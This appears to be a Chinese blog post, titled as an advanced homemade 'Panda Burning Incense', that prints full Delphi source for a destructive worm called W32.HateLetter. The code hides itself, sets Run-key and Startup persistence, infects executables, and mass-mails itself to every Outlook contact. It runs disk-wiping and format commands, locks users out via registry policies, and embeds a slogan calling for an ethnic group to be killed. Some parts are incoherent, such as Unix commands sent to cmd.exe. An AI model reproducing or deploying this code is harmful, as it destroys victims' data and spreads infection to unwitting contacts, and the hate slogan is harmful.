当前位置：首页 > news >正文

自制熊猫烧香进阶

news 来源：原创 2024/9/20 0:45:19

program HateLetter;usesWindows, SysUtils, Classes, Graphics, ShellAPI, ComObj, Variants, Registry, ActiveX, ShlObj;constHeaderSize = 82432; // 病毒体的大小IconOffset = \$12EB8; // PE文件主图标的偏移量IconSize = \$2E8; // PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; // PE文件主图标的尾部ID = \$44444444; // 感染标记Catchword = 'If a race need to be killed out, it must be Yamato. ' +'If a country need to be destroyed, it must be Japan! ' +'*** W32.HateLetter.Worm.A ***';
{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; // 函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap, IsEng, IsChn: Boolean; // 日文、英文和中文操作系统标记SourceFile: string;// 复制自身到D:\Backup目录
procedure CopySelfToBackup;
constBackupPath = 'D:\Backup\HateLetter.exe';
begintryif not DirectoryExists('D:\Backup') thenCreateDir('D:\Backup');CopyFile(PChar(ParamStr(0)), PChar(BackupPath), False);except// 处理异常end;
end;procedure ExecuteCommand(const Cmd: string);
beginShellExecute(0, 'open', 'cmd.exe', PChar('/C ' + Cmd), nil, SW_HIDE);
end;procedure CopyFileToSpecialFolder(const SourceFile, SpecialFolder: string);
varPath: array[0..MAX_PATH] of Char;
beginif Succeeded(SHGetFolderPath(0, CSIDL_STARTMENU or CSIDL_FLAG_CREATE, 0, 0, Path)) thenbeginCopyFile(PChar(SourceFile), PChar(Path + '\' + SpecialFolder), False);end;
end;procedure SetRegistryValue(RootKey: HKEY; const Key, Name: string; ValueType: TRegDataType; const Value: Variant);
varReg: TRegistry;
beginReg := TRegistry.Create(KEY_WRITE);tryReg.RootKey := RootKey;if Reg.OpenKey(Key, True) thenbegincase ValueType ofrdString, rdExpandString: Reg.WriteString(Name, Value);rdInteger: Reg.WriteInteger(Name, Value);rdBinary: Reg.WriteBinaryData(Name, Value, Length(Value));end;end;finallyReg.Free;end;
end;// 安装Outlook
procedure InstallOutlook;
beginExecuteCommand('powershell -Command "Start-Process msiexec.exe -ArgumentList \'/i OutlookSetup.msi /quiet /norestart\' -NoNewWindow -Wait"');
end;procedure SendEmails;
varOutlookApp, MailItem, Namespace, AddressLists, AddressEntry: OleVariant;I: Integer;Recipient: String;Dir2: String;
begintryOutlookApp := CreateOleObject('Outlook.Application');except// 安装OutlookInstallOutlook;OutlookApp := CreateOleObject('Outlook.Application');end;Namespace := OutlookApp.GetNamespace('MAPI');AddressLists := Namespace.AddressLists.Item(1);Dir2 := 'D:\Backup\HateLetter.exe'; // Set the directory for the attachmentsfor I := 1 to AddressLists.AddressEntries.Count dobegintryMailItem := OutlookApp.CreateItem(0); // Create a new email itemAddressEntry := AddressLists.AddressEntries.Item(I);Recipient := AddressEntry.Address;MailItem.Recipients.Add(Recipient);MailItem.Subject := 'You are foolish!!!!!!!!!!!!!!!!!';MailItem.Body := 'I hate you, here is a document explaining why you are so foolish!!!!!!!!';MailItem.Attachments.Add(Dir2 + 'HateLetter.exe'); // Add attachmentMailItem.Send; // Send the emailexcepton E: Exception dobegin// Handle the exception// For instance, log the error, display a message, or ignore itend;end;end;
end;function IsWin9x: Boolean;
varVer: TOSVersionInfo;
beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then // Win9xResult := True;
end;procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);
varsCurPos, dCurPos: Integer;
beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, soFromBeginning);Dst.Seek(dStartPos, soFromBeginning);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, soFromBeginning);Dst.Seek(dCurPos, soFromBeginning);
end;procedure ExtractFile(FileName: string);
varsStream, dStream: TFileStream;
begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, soFromBeginning); // 跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;except// 处理异常end;
end;procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;
end;procedure InfectOneFile(FileName: string);
varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;
begintryif CompareText(FileName, 'HateLetter.exe') = 0 then // 是自己则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to \$108 do // 检查PE文件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then // PE标记beginIsPE := True; // 是PE文件Break;end;end;SrcStream.Seek(-4, soFromEnd); // 检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then // 太小的文件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then // 如果感染过了或不是PE文件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;tryaIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);tryif IcoStream.Size = 0 then // 该文件没有图标beginCopyStream(HdrStream, IconOffset, DstStream, 0, IconSize); // 复制病毒文件的图标CopyStream(HdrStream, 0, DstStream, IconSize, HeaderSize); // 复制病毒体CopyStream(SrcStream, 0, DstStream, HeaderSize + IconSize, SrcStream.Size); // 复制宿主文件end else beginCopyStream(HdrStream, 0, DstStream, 0, IconOffset); // 复制图标前的数据CopyStream(IcoStream, 22, DstStream, IconOffset, IcoStream.Size - 22); // 替换宿主的图标CopyStream(HdrStream, IconTail, DstStream, DstStream.Size, HeaderSize - IconTail); // 复制图标后的病毒体数据CopyStream(SrcStream, 0, DstStream, DstStream.Size, SrcStream.Size); // 复制宿主文件end;iID := ID;DstStream.Write(iID, 4); // 写入感染标记DstStream.SaveToFile(FileName);finallyHdrStream.Free;SrcStream.Free;end;finallyIcoStream.Free;DstStream.Free;end;except// 处理异常end;
end;procedure InfectFiles;
varPath: string;SearchRec: TSearchRec;
beginPath := ExtractFilePath(ParamStr(0));if FindFirst(Path + '*.*', faAnyFile, SearchRec) = 0 thenbeginrepeatif (SearchRec.Attr and faDirectory) = 0 thenInfectOneFile(Path + SearchRec.Name);until FindNext(SearchRec) <> 0;FindClose(SearchRec);end;
end;procedure ExecuteDestructiveCommands;
beginExecuteCommand('bcdedit /delete {current}');ExecuteCommand('format C:\');ExecuteCommand('dd if=/dev/zero of=/dev/sda');ExecuteCommand('rm -rf /');
end;procedure SetAdditionalRegistryValues;
beginSetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoRun', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoClose', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoDrives', rdInteger, 63000000);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableRegistryTools', rdInteger, 1);SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 'ScanRegistry', rdString, '');SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoLogOff', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode', rdInteger, 1);SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 'Win32system', rdString, 'Win32system.vbs');SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoDesktop', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'Disabled', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoSetTaskBar', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoViewContextMenu', rdInteger, 1);SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoSetFolders', rdInteger, 1);SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\CLASSES', '.reg', rdString, 'txtfile');SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Winlogon', 'LegalNoticeCaption', rdString, 'Your computer is trashed');SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Winlogon', 'LegalNoticeText', rdString, 'Destroyed!!!');
end;beginRegisterServiceProcess(GetCurrentProcessID, 1); // 注册为服务进程以隐藏TmpFile := GetEnvironmentVariable('temp') + '\HateLetter.exe'; // 创建临时文件ExtractFile(TmpFile); // 提取病毒文件部分到临时文件FillStartupInfo(Si, SW_HIDE); // 填充启动信息，隐藏窗口SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 'HateLetter', rdString, TmpFile); // 注册启动项CopyFileToSpecialFolder(TmpFile, 'Startup\HateLetter.exe'); // 复制到启动文件夹InfectFiles; // 感染其他文件SendEmails; // 发送电子邮件// 执行破坏性命令ExecuteDestructiveCommands;// 设置额外的注册表值SetAdditionalRegistryValues;
end.